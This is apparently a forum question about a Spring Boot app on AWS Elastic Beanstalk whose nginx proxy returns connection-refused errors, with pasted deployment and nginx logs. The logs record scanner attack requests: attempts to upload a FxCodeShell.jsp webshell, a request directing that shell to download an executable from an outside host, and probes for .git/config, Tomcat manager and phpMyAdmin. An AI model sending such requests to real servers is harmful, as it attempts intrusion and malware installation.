      2019/03/25 14:16:34 [warn] 3647#0: *37 using uninitialized "year" variable while logging request, client: 141.98.81.185, server: , request: "��/*����Cookie: mstshash=Administr"



      2019/03/25 14:16:34 [warn] 3647#0: *37 using uninitialized "month" variable while logging request, client: 141.98.81.185, server: , request: "��/*����Cookie: mstshash=Administr"



      2019/03/25 14:16:34 [warn] 3647#0: *37 using uninitialized "day" variable while logging request, client: 141.98.81.185, server: , request: "��/*����Cookie: mstshash=Administr"



      2019/03/25 14:16:34 [warn] 3647#0: *37 using uninitialized "hour" variable while logging request, client: 141.98.81.185, server: , request: "��/*����Cookie: mstshash=Administr"



      2019/03/25 14:45:42 [error] 3647#0: *38 connect() failed (111: Connection refused) while connecting to upstream, client: 140.249.198.51, server: , request: "PUT /FxCodeShell.jsp%20 HTTP/1.1", upstream: "http://127.0.0.1:5000/FxCodeShell.jsp%20", host: "18.224.86.21", referrer: "http://18.224.86.21:80/FxCodeShell.jsp%20"
      2019/03/25 14:45:42 [error] 3647#0: *38 connect() failed (111: Connection refused) while connecting to upstream, client: 140.249.198.51, server: , request: "PUT /FxCodeShell.jsp::$DATA HTTP/1.1", upstream: "http://127.0.0.1:5000/FxCodeShell.jsp::$DATA", host: "18.224.86.21", referrer: "http://18.224.86.21:80/FxCodeShell.jsp::$DATA"
      2019/03/25 14:45:42 [error] 3647#0: *38 connect() failed (111: Connection refused) while connecting to upstream, client: 140.249.198.51, server: , request: "PUT /FxCodeShell.jsp/ HTTP/1.1", upstream: "http://127.0.0.1:5000/FxCodeShell.jsp/", host: "18.224.86.21", referrer: "http://18.224.86.21:80/FxCodeShell.jsp/"
      2019/03/25 14:45:42 [error] 3647#0: *38 connect() failed (111: Connection refused) while connecting to upstream, client: 140.249.198.51, server: , request: "GET /FxCodeShell.jsp?view=FxxkMyLie1836710Aa&os=1&address=http://fid.hognoob.se/download.exe HTTP/1.1", upstream: "http://127.0.0.1:5000/FxCodeShell.jsp?view=FxxkMyLie1836710Aa&os=1&address=http://fid.hognoob.se/download.exe", host: "18.224.86.21", referrer: "http://18.224.86.21:80/FxCodeShell.jsp?view=FxxkMyLie1836710Aa&os=1&address=http://fid.hognoob.se/download.exe"
      2019/03/25 15:20:45 [error] 3647#0: *43 connect() failed (111: Connection refused) while connecting to upstream, client: 36.68.204.27, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
      2019/03/25 17:08:14 [error] 3647#0: *46 connect() failed (111: Connection refused) while connecting to upstream, client: 103.240.91.110, server: , request: "GET /manager/html HTTP/1.1", upstream: "http://127.0.0.1:5000/manager/html", host: "18.224.86.21"
      2019/03/25 17:51:20 [error] 3647#0: *48 connect() failed (111: Connection refused) while connecting to upstream, client: 34.207.185.88, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21"
      2019/03/25 18:07:40 [error] 3647#0: *50 connect() failed (111: Connection refused) while connecting to upstream, client: 103.242.59.230, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
      2019/03/25 19:48:41 [error] 3647#0: *52 connect() failed (111: Connection refused) while connecting to upstream, client: 45.238.164.36, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
      2019/03/25 20:20:45 [warn] 13686#0: *1 using uninitialized "year" variable while logging request, client: 211.23.154.136, server: , request: "�u��qß;Ÿùçäé#Ôo¾%Ú„åÉ÷„9Q^tÕ¢b¹=X��À/À+ÀÀÀÀ ÀÀ"
      2019/03/25 20:20:45 [warn] 13686#0: *1 using uninitialized "month" variable while logging request, client: 211.23.154.136, server: , request: "�u��qß;Ÿùçäé#Ôo¾%Ú„åÉ÷„9Q^tÕ¢b¹=X��À/À+ÀÀÀÀ ÀÀ"
      2019/03/25 20:20:45 [warn] 13686#0: *1 using uninitialized "day" variable while logging request, client: 211.23.154.136, server: , request: "�u��qß;Ÿùçäé#Ôo¾%Ú„åÉ÷„9Q^tÕ¢b¹=X��À/À+ÀÀÀÀ ÀÀ"
      2019/03/25 20:20:45 [warn] 13686#0: *1 using uninitialized "hour" variable while logging request, client: 211.23.154.136, server: , request: "�u��qß;Ÿùçäé#Ôo¾%Ú„åÉ÷„9Q^tÕ¢b¹=X��À/À+ÀÀÀÀ ÀÀ"
      2019/03/25 21:46:32 [error] 13686#0: *2 connect() failed (111: Connection refused) while connecting to upstream, client: 185.228.80.33, server: , request: "GET /telephony-service.html HTTP/1.1", upstream: "http://127.0.0.1:5000/telephony-service.html", host: "18.224.86.21"
      2019/03/25 21:56:05 [warn] 13686#0: *4 using uninitialized "year" variable while logging request, client: 46.161.27.51, server: , request: "��/*����Cookie: mstshash=Administr"
      2019/03/25 21:56:05 [warn] 13686#0: *4 using uninitialized "month" variable while logging request, client: 46.161.27.51, server: , request: "��/*����Cookie: mstshash=Administr"
      2019/03/25 21:56:05 [warn] 13686#0: *4 using uninitialized "day" variable while logging request, client: 46.161.27.51, server: , request: "��/*����Cookie: mstshash=Administr"
      2019/03/25 21:56:05 [warn] 13686#0: *4 using uninitialized "hour" variable while logging request, client: 46.161.27.51, server: , request: "��/*����Cookie: mstshash=Administr"
      2019/03/25 22:18:47 [error] 13686#0: *5 connect() failed (111: Connection refused) while connecting to upstream, client: 185.20.6.41, server: , request: "GET /FxCodeShell.jsp%20 HTTP/1.1", upstream: "http://127.0.0.1:5000/FxCodeShell.jsp%20", host: "18.224.86.21"
      2019/03/25 22:35:11 [error] 13686#0: *7 connect() failed (111: Connection refused) while connecting to upstream, client: 110.137.176.241, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
      2019/03/26 01:22:37 [error] 13686#0: *9 connect() failed (111: Connection refused) while connecting to upstream, client: 145.239.81.228, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21"
      2019/03/26 01:50:00 [error] 13686#0: *11 connect() failed (111: Connection refused) while connecting to upstream, client: 148.163.128.145, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21"
      2019/03/26 02:29:45 [error] 13686#0: *13 connect() failed (111: Connection refused) while connecting to upstream, client: 194.44.86.82, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
      2019/03/26 03:02:47 [error] 13686#0: *15 connect() failed (111: Connection refused) while connecting to upstream, client: 139.162.106.181, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21"
      2019/03/26 03:16:02 [error] 13686#0: *17 connect() failed (111: Connection refused) while connecting to upstream, client: 139.180.216.25, server: , request: "GET /.git/config HTTP/1.1", upstream: "http://127.0.0.1:5000/.git/config", host: "18.224.86.21"
      2019/03/26 03:16:03 [warn] 13686#0: *17 using uninitialized "year" variable while logging request, client: 139.180.216.25, server: , request: "�"
      2019/03/26 03:16:03 [warn] 13686#0: *17 using uninitialized "month" variable while logging request, client: 139.180.216.25, server: , request: "�"
      2019/03/26 03:16:03 [warn] 13686#0: *17 using uninitialized "day" variable while logging request, client: 139.180.216.25, server: , request: "�"
      2019/03/26 03:16:03 [warn] 13686#0: *17 using uninitialized "hour" variable while logging request, client: 139.180.216.25, server: , request: "�"
      2019/03/26 07:54:23 [error] 13686#0: *19 connect() failed (111: Connection refused) while connecting to upstream, client: 189.159.133.125, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
      2019/03/26 08:30:35 [error] 13686#0: *22 connect() failed (111: Connection refused) while connecting to upstream, client: 216.245.197.254, server: , request: "HEAD /robots.txt HTTP/1.0", upstream: "http://127.0.0.1:5000/robots.txt"
      2019/03/26 09:17:56 [error] 13686#0: *24 connect() failed (111: Connection refused) while connecting to upstream, client: 172.104.108.109, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
      2019/03/26 09:42:10 [error] 13686#0: *26 connect() failed (111: Connection refused) while connecting to upstream, client: 80.50.114.42, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
      2019/03/26 11:07:48 [error] 13686#0: *28 connect() failed (111: Connection refused) while connecting to upstream, client: 177.73.2.111, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
      2019/03/26 11:44:24 [error] 13686#0: *30 connect() failed (111: Connection refused) while connecting to upstream, client: 124.158.168.182, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
      2019/03/26 11:53:07 [error] 13686#0: *32 connect() failed (111: Connection refused) while connecting to upstream, client: 115.236.191.214, server: , request: "GET /index.php HTTP/1.1", upstream: "http://127.0.0.1:5000/index.php", host: "18.224.86.21"
      2019/03/26 11:53:07 [error] 13686#0: *32 connect() failed (111: Connection refused) while connecting to upstream, client: 115.236.191.214, server: , request: "GET /phpmyadmin/index.php HTTP/1.1", upstream: "http://127.0.0.1:5000/phpmyadmin/index.php", host: "18.224.86.21"
      2019/03/26 12:16:28 [error] 13686#0: *35 connect() failed (111: Connection refused) while connecting to upstream, client: 5.219.91.56, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
      2019/03/26 12:26:05 [error] 13686#0: *37 connect() failed (111: Connection refused) while connecting to upstream, client: 177.189.43.78, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
      2019/03/26 13:21:12 [error] 13686#0: *39 connect() failed (111: Connection refused) while connecting to upstream, client: 201.18.41.2, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"





      /var/log/eb-activity.log



       creating: /var/app/staging/StudentCousr/target/maven-status/maven-compiler-plugin/testCompile/
      creating: /var/app/staging/StudentCousr/target/maven-status/maven-compiler-plugin/testCompile/default-testCompile/


      extracting: /var/app/staging/StudentCousr/target/maven-status/maven-compiler-plugin/testCompile/default-testCompile/inputFiles.lst

      inflating: /var/app/staging/StudentCousr/target/StudentCousr-0.0.1-SNAPSHOT.jar

      inflating: /var/app/staging/StudentCousr/target/StudentCousr-0.0.1-SNAPSHOT.jar.original

      creating: /var/app/staging/StudentCousr/target/test-classes/
      Executing: HOME=/tmp /opt/elasticbeanstalk/lib/ruby/bin/ruby /opt/elasticbeanstalk/lib/ruby/bin/foreman export supervisord --procfile /var/app/staging/Procfile --root /var/app/current --app application --log /var/log/ --user webapp --template /opt/elasticbeanstalk/private/config/foreman/supervisord --env /var/elasticbeanstalk/staging/elasticbeanstalk.env /var/elasticbeanstalk/staging/supervisor
      [foreman export] writing: application.conf
      Executing: /opt/elasticbeanstalk/bin/log-conf -n supervisor -l'/var/log/supervisord.log' -t bundlelogs



      Executing: /opt/elasticbeanstalk/bin/log-conf -n containerlistener -l'/var/log/eb-container-listener.log' -t bundlelogs



      [2019-03-25T20:05:16.005Z] INFO [13493] - [Application restart/RestartAppServerStage0/RestartAppServerPreHook/01_configure_xray.sh] : Starting activity...
      [2019-03-25T20:05:16.116Z] INFO [13493] - [Application restart/RestartAppServerStage0/RestartAppServerPreHook/01_configure_xray.sh] : Completed activity.
      [2019-03-25T20:05:16.116Z] INFO [13493] - [Application restart/RestartAppServerStage0/RestartAppServerPreHook/03_configure_proxy.sh] : Starting activity...
      [2019-03-25T20:05:16.287Z] INFO [13493] - [Application restart/RestartAppServerStage0/RestartAppServerPreHook/03_configure_proxy.sh] : Completed activity. Result:
      Executing: /opt/elasticbeanstalk/bin/log-conf -n nginx -l'/var/log/nginx/*'



      Executing: /usr/sbin/nginx -t -c /var/elasticbeanstalk/staging/nginx/nginx.conf
      nginx: the configuration file /var/elasticbeanstalk/staging/nginx/nginx.conf syntax is ok
      nginx: configuration file /var/elasticbeanstalk/staging/nginx/nginx.conf test is successful
      [2019-03-25T20:05:16.287Z] INFO [13493] - [Application restart/RestartAppServerStage0/RestartAppServerPreHook] : Completed activity. Result:
      Successfully execute hooks in directory /opt/elasticbeanstalk/hooks/restartappserver/pre.
      [2019-03-25T20:05:16.287Z] INFO [13493] - [Application restart/RestartAppServerStage0] : Completed activity. Result:
      Application restart - Command CMD-RestartAppServer stage 0 completed
      [2019-03-25T20:05:16.287Z] INFO [13493] - [Application restart/RestartAppServerStage1] : Starting activity...
      [2019-03-25T20:05:16.287Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook] : Starting activity...
      [2019-03-25T20:05:16.288Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/01_stop_before_promote.sh] : Starting activity...
      [2019-03-25T20:05:27.929Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/01_stop_before_promote.sh] : Completed activity. Result:
      Executing: /usr/local/bin/supervisorctl -c /etc/supervisor/supervisord.conf stop application:*



      Process termination taking longer than 10 seconds.
      Executing: /usr/local/bin/supervisorctl -c /etc/supervisor/supervisord.conf stop all
      listener:supervisor_listener: stopped
      Executing: /sbin/status supervisord
      supervisord start/running, process 3598
      Executing: /sbin/stop supervisord
      supervisord stop/waiting
      [2019-03-25T20:05:27.929Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/01stop_xray.sh] : Starting activity...
      [2019-03-25T20:05:28.045Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/01stop_xray.sh] : Completed activity. Result:
      Executing: if ( initctl status xray | grep start ); then initctl stop xray; fi



      [2019-03-25T20:05:28.045Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/02start_xray.sh] : Starting activity...
      [2019-03-25T20:05:28.152Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/02start_xray.sh] : Completed activity.
      [2019-03-25T20:05:28.152Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/03_stop_proxy.sh] : Starting activity...
      [2019-03-25T20:05:28.368Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/03_stop_proxy.sh] : Completed activity. Result:
      Executing: service nginx stop
      Stopping nginx: [ OK ]
      [2019-03-25T20:05:28.368Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/07_start_application.sh] : Starting activity...
      [2019-03-25T20:05:28.475Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/07_start_application.sh] : Completed activity. Result:
      Executing: /sbin/start supervisord
      supervisord start/running, process 13637
      [2019-03-25T20:05:28.475Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/09_start_proxy.sh] : Starting activity...
      [2019-03-25T20:05:31.076Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/09_start_proxy.sh] : Completed activity. Result:
      Executing: service nginx stop



      Executing: service nginx start
      Starting nginx: [ OK ]
      Executing: /opt/elasticbeanstalk/bin/healthd-track-pidfile --proxy nginx



      Executing: /opt/elasticbeanstalk/bin/healthd-configure --appstat-log-path /var/log/nginx/healthd/application.log --appstat-unit sec --appstat-timestamp-on 'completion'



      Executing: /opt/elasticbeanstalk/bin/healthd-restart



      [2019-03-25T20:05:31.076Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/11_stop_after_promote.sh] : Starting activity...
      [2019-03-25T20:05:31.354Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook/11_stop_after_promote.sh] : Completed activity.
      [2019-03-25T20:05:31.354Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerEnactHook] : Completed activity. Result:
      Successfully execute hooks in directory /opt/elasticbeanstalk/hooks/restartappserver/enact.
      [2019-03-25T20:05:31.354Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerPostHook] : Starting activity...
      [2019-03-25T20:05:31.354Z] INFO [13493] - [Application restart/RestartAppServerStage1/RestartAppServerPostHook] : Completed activity. Result:
      Successfully execute hooks in directory /opt/elasticbeanstalk/hooks/restartappserver/post.
      [2019-03-25T20:05:31.354Z] INFO [13493] - [Application restart/RestartAppServerStage1] : Completed activity. Result:
      Application restart - Command CMD-RestartAppServer stage 1 completed
      [2019-03-25T20:05:31.354Z] INFO [13493] - [Application restart/AddonsAfter] : Starting activity...
      [2019-03-25T20:05:31.354Z] INFO [13493] - [Application restart/AddonsAfter/ConfigLogRotation] : Starting activity...
      [2019-03-25T20:05:31.354Z] INFO [13493] - [Application restart/AddonsAfter/ConfigLogRotation/10-config.sh] : Starting activity...
      [2019-03-25T20:05:31.593Z] INFO [13493] - [Application restart/AddonsAfter/ConfigLogRotation/10-config.sh] : Completed activity. Result:
      Disabled forced hourly log rotation.
      [2019-03-25T20:05:31.593Z] INFO [13493] - [Application restart/AddonsAfter/ConfigLogRotation] : Completed activity. Result:
      Successfully execute hooks in directory /opt/elasticbeanstalk/addons/logpublish/hooks/config.
      [2019-03-25T20:05:31.593Z] INFO [13493] - [Application restart/AddonsAfter] : Completed activity.
      [2019-03-25T20:05:31.593Z] INFO [13493] - [Application restart] : Completed activity. Result:
      Application restart - Command CMD-RestartAppServer succeeded
      [2019-03-25T20:18:21.683Z] INFO [14170] - [CMD-TailLogs] : Starting activity...
      [2019-03-25T20:18:21.683Z] INFO [14170] - [CMD-TailLogs/AddonsBefore] : Starting activity...
      [2019-03-25T20:18:21.683Z] INFO [14170] - [CMD-TailLogs/AddonsBefore] : Completed activity.
      [2019-03-25T20:18:21.683Z] INFO [14170] - [CMD-TailLogs/TailLogs] : Starting activity...
      [2019-03-25T20:18:21.683Z] INFO [14170] - [CMD-TailLogs/TailLogs/TailLogs] : Starting activity...
      [2019-03-25T20:18:21.916Z] INFO [14170] - [CMD-TailLogs/TailLogs/TailLogs] : Completed activity.
      [2019-03-25T20:18:21.916Z] INFO [14170] - [CMD-TailLogs/TailLogs] : Completed activity. Result:
      CMD-TailLogs - stage 0 - Command CMD-TailLogs stage 0 completed
      [2019-03-25T20:18:21.916Z] INFO [14170] - [CMD-TailLogs/AddonsAfter] : Starting activity...
      [2019-03-25T20:18:21.916Z] INFO [14170] - [CMD-TailLogs/AddonsAfter] : Completed activity.
      [2019-03-25T20:18:21.916Z] INFO [14170] - [CMD-TailLogs] : Completed activity. Result:
      CMD-TailLogs - Command CMD-TailLogs succeeded
      [2019-03-26T14:07:24.343Z] INFO [14928] - [CMD-TailLogs] : Starting activity...
      [2019-03-26T14:07:24.344Z] INFO [14928] - [CMD-TailLogs/AddonsBefore] : Starting activity...
      [2019-03-26T14:07:24.344Z] INFO [14928] - [CMD-TailLogs/AddonsBefore] : Completed activity.
      [2019-03-26T14:07:24.344Z] INFO [14928] - [CMD-TailLogs/TailLogs] : Starting activity...
      [2019-03-26T14:07:24.344Z] INFO [14928] - [CMD-TailLogs/TailLogs/TailLogs] : Starting activity...











    share|improve this question


























      0












      0








      0








      • I deployed the Java spring boot application on AWS as referred from the medium link https://medium.com/@ryanzhou7/running-spring-boot-on-amazon-web-services-for-free-f3b0aeec809

      • Even after changing server port configuration in both AWS and application.properties file in the java STS application, server health status shown as degraded

      • I collected error logs and researched shows results related to nginx connection lost issue

      • can you guys help to me figure out what mistake occured with your suggestions

      • My entire spring boot application is available in github and its link: https://github.com/aarivalagan/student-Application


      • Mentioned errors in the log file are




        /var/log/nginx/error.log




        2019/03/24 16:40:01 [error] 3647#0: *1 connect() failed (111: Connection refused) while connecting to upstream, client: 62.176.27.243, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



        2019/03/24 19:51:07 [error] 3647#0: *3 connect() failed (111: Connection refused) while connecting to upstream, client: 178.73.215.171, server: , request: "GET / HTTP/1.0", upstream: "http://127.0.0.1:5000/"



        2019/03/24 21:17:17 [error] 3647#0: *5 connect() failed (111: Connection refused) while connecting to upstream, client: 138.0.227.98, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



        2019/03/24 21:53:33 [error] 3647#0: *7 connect() failed (111: Connection refused) while connecting to upstream, client: 109.199.251.172, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



        2019/03/25 02:23:47 [error] 3647#0: *9 connect() failed (111: Connection refused) while connecting to upstream, client: 96.127.158.234, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21"



        2019/03/25 04:35:27 [error] 3647#0: *11 connect() failed (111: Connection refused) while connecting to upstream, client: 181.161.56.28, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



        2019/03/25 04:35:27 [error] 3647#0: *13 connect() failed (111: Connection refused) while connecting to upstream, client: 181.161.56.28, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



        2019/03/25 04:35:27 [error] 3647#0: *15 connect() failed (111: Connection refused) while connecting to upstream, client: 181.161.56.28, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



        2019/03/25 05:11:44 [error] 3647#0: *17 connect() failed (111: Connection refused) while connecting to upstream, client: 177.215.69.235, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



        2019/03/25 05:45:33 [error] 3647#0: *19 connect() failed (111: Connection refused) while connecting to upstream, client: 107.170.198.36, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21"



        2019/03/25 06:12:52 [error] 3647#0: *21 connect() failed (111: Connection refused) while connecting to upstream, client: 2.78.57.211, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



        2019/03/25 06:45:10 [error] 3647#0: *23 connect() failed (111: Connection refused) while connecting to upstream, client: 201.43.129.128, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



        2019/03/25 09:52:47 [error] 3647#0: *25 connect() failed (111: Connection refused) while connecting to upstream, client: 92.38.106.94, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



        2019/03/25 11:16:00 [error] 3647#0: *27 connect() failed (111: Connection refused) while connecting to upstream, client: 177.9.249.34, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



        2019/03/25 11:24:28 [error] 3647#0: *29 connect() failed (111: Connection refused) while connecting to upstream, client: 79.16.154.57, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



        2019/03/25 12:04:23 [error] 3647#0: *31 connect() failed (111: Connection refused) while connecting to upstream, client: 177.103.123.176, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



        2019/03/25 12:36:34 [error] 3647#0: *33 connect() failed (111: Connection refused) while connecting to upstream, client: 93.115.226.50, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"



        2019/03/25 14:12:56 [error] 3647#0: *35 connect() failed (111: Connection refused) while connecting to upstream, client: 125.64.94.197, server: , request: "GET / HTTP/1.0", upstream: "http://127.0.0.1:5000/"



        2019/03/25 14:16:34 [warn] 3647#0: *37 using uninitialized "year" variable while logging request, client: 141.98.81.185, server: , request: "��/*����Cookie: mstshash=Administr"



        2019/03/25 14:16:34 [warn] 3647#0: *37 using uninitialized "month" variable while logging request, client: 141.98.81.185, server: , request: "��/*����Cookie: mstshash=Administr"



        2019/03/25 14:16:34 [warn] 3647#0: *37 using uninitialized "day" variable while logging request, client: 141.98.81.185, server: , request: "��/*����Cookie: mstshash=Administr"



        2019/03/25 14:16:34 [warn] 3647#0: *37 using uninitialized "hour" variable while logging request, client: 141.98.81.185, server: , request: "��/*����Cookie: mstshash=Administr"



        2019/03/25 14:45:42 [error] 3647#0: *38 connect() failed (111: Connection refused) while connecting to upstream, client: 140.249.198.51, server: , request: "PUT /FxCodeShell.jsp%20 HTTP/1.1", upstream: "http://127.0.0.1:5000/FxCodeShell.jsp%20", host: "18.224.86.21", referrer: "http://18.224.86.21:80/FxCodeShell.jsp%20"
        2019/03/25 14:45:42 [error] 3647#0: *38 connect() failed (111: Connection refused) while connecting to upstream, client: 140.249.198.51, server: , request: "PUT /FxCodeShell.jsp::$DATA HTTP/1.1", upstream: "http://127.0.0.1:5000/FxCodeShell.jsp::$DATA", host: "18.224.86.21", referrer: "http://18.224.86.21:80/FxCodeShell.jsp::$DATA"
        2019/03/25 14:45:42 [error] 3647#0: *38 connect() failed (111: Connection refused) while connecting to upstream, client: 140.249.198.51, server: , request: "PUT /FxCodeShell.jsp/ HTTP/1.1", upstream: "http://127.0.0.1:5000/FxCodeShell.jsp/", host: "18.224.86.21", referrer: "http://18.224.86.21:80/FxCodeShell.jsp/"
        2019/03/25 14:45:42 [error] 3647#0: *38 connect() failed (111: Connection refused) while connecting to upstream, client: 140.249.198.51, server: , request: "GET /FxCodeShell.jsp?view=FxxkMyLie1836710Aa&os=1&address=http://fid.hognoob.se/download.exe HTTP/1.1", upstream: "http://127.0.0.1:5000/FxCodeShell.jsp?view=FxxkMyLie1836710Aa&os=1&address=http://fid.hognoob.se/download.exe", host: "18.224.86.21", referrer: "http://18.224.86.21:80/FxCodeShell.jsp?view=FxxkMyLie1836710Aa&os=1&address=http://fid.hognoob.se/download.exe"
        2019/03/25 15:20:45 [error] 3647#0: *43 connect() failed (111: Connection refused) while connecting to upstream, client: 36.68.204.27, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
        2019/03/25 17:08:14 [error] 3647#0: *46 connect() failed (111: Connection refused) while connecting to upstream, client: 103.240.91.110, server: , request: "GET /manager/html HTTP/1.1", upstream: "http://127.0.0.1:5000/manager/html", host: "18.224.86.21"
        2019/03/25 17:51:20 [error] 3647#0: *48 connect() failed (111: Connection refused) while connecting to upstream, client: 34.207.185.88, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21"
        2019/03/25 18:07:40 [error] 3647#0: *50 connect() failed (111: Connection refused) while connecting to upstream, client: 103.242.59.230, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
        2019/03/25 19:48:41 [error] 3647#0: *52 connect() failed (111: Connection refused) while connecting to upstream, client: 45.238.164.36, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
        2019/03/25 20:20:45 [warn] 13686#0: *1 using uninitialized "year" variable while logging request, client: 211.23.154.136, server: , request: "�u��qß;Ÿùçäé#Ôo¾%Ú„åÉ÷„9Q^tÕ¢b¹=X��À/À+ÀÀÀÀ ÀÀ"
        2019/03/25 20:20:45 [warn] 13686#0: *1 using uninitialized "month" variable while logging request, client: 211.23.154.136, server: , request: "�u��qß;Ÿùçäé#Ôo¾%Ú„åÉ÷„9Q^tÕ¢b¹=X��À/À+ÀÀÀÀ ÀÀ"
        2019/03/25 20:20:45 [warn] 13686#0: *1 using uninitialized "day" variable while logging request, client: 211.23.154.136, server: , request: "�u��qß;Ÿùçäé#Ôo¾%Ú„åÉ÷„9Q^tÕ¢b¹=X��À/À+ÀÀÀÀ ÀÀ"
        2019/03/25 20:20:45 [warn] 13686#0: *1 using uninitialized "hour" variable while logging request, client: 211.23.154.136, server: , request: "�u��qß;Ÿùçäé#Ôo¾%Ú„åÉ÷„9Q^tÕ¢b¹=X��À/À+ÀÀÀÀ ÀÀ"
        2019/03/25 21:46:32 [error] 13686#0: *2 connect() failed (111: Connection refused) while connecting to upstream, client: 185.228.80.33, server: , request: "GET /telephony-service.html HTTP/1.1", upstream: "http://127.0.0.1:5000/telephony-service.html", host: "18.224.86.21"
        2019/03/25 21:56:05 [warn] 13686#0: *4 using uninitialized "year" variable while logging request, client: 46.161.27.51, server: , request: "��/*����Cookie: mstshash=Administr"
        2019/03/25 21:56:05 [warn] 13686#0: *4 using uninitialized "month" variable while logging request, client: 46.161.27.51, server: , request: "��/*����Cookie: mstshash=Administr"
        2019/03/25 21:56:05 [warn] 13686#0: *4 using uninitialized "day" variable while logging request, client: 46.161.27.51, server: , request: "��/*����Cookie: mstshash=Administr"
        2019/03/25 21:56:05 [warn] 13686#0: *4 using uninitialized "hour" variable while logging request, client: 46.161.27.51, server: , request: "��/*����Cookie: mstshash=Administr"
        2019/03/25 22:18:47 [error] 13686#0: *5 connect() failed (111: Connection refused) while connecting to upstream, client: 185.20.6.41, server: , request: "GET /FxCodeShell.jsp%20 HTTP/1.1", upstream: "http://127.0.0.1:5000/FxCodeShell.jsp%20", host: "18.224.86.21"
        2019/03/25 22:35:11 [error] 13686#0: *7 connect() failed (111: Connection refused) while connecting to upstream, client: 110.137.176.241, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
        2019/03/26 01:22:37 [error] 13686#0: *9 connect() failed (111: Connection refused) while connecting to upstream, client: 145.239.81.228, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21"
        2019/03/26 01:50:00 [error] 13686#0: *11 connect() failed (111: Connection refused) while connecting to upstream, client: 148.163.128.145, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21"
        2019/03/26 02:29:45 [error] 13686#0: *13 connect() failed (111: Connection refused) while connecting to upstream, client: 194.44.86.82, server: , request: "GET / HTTP/1.1", upstream: "http://127.0.0.1:5000/", host: "18.224.86.21:80"
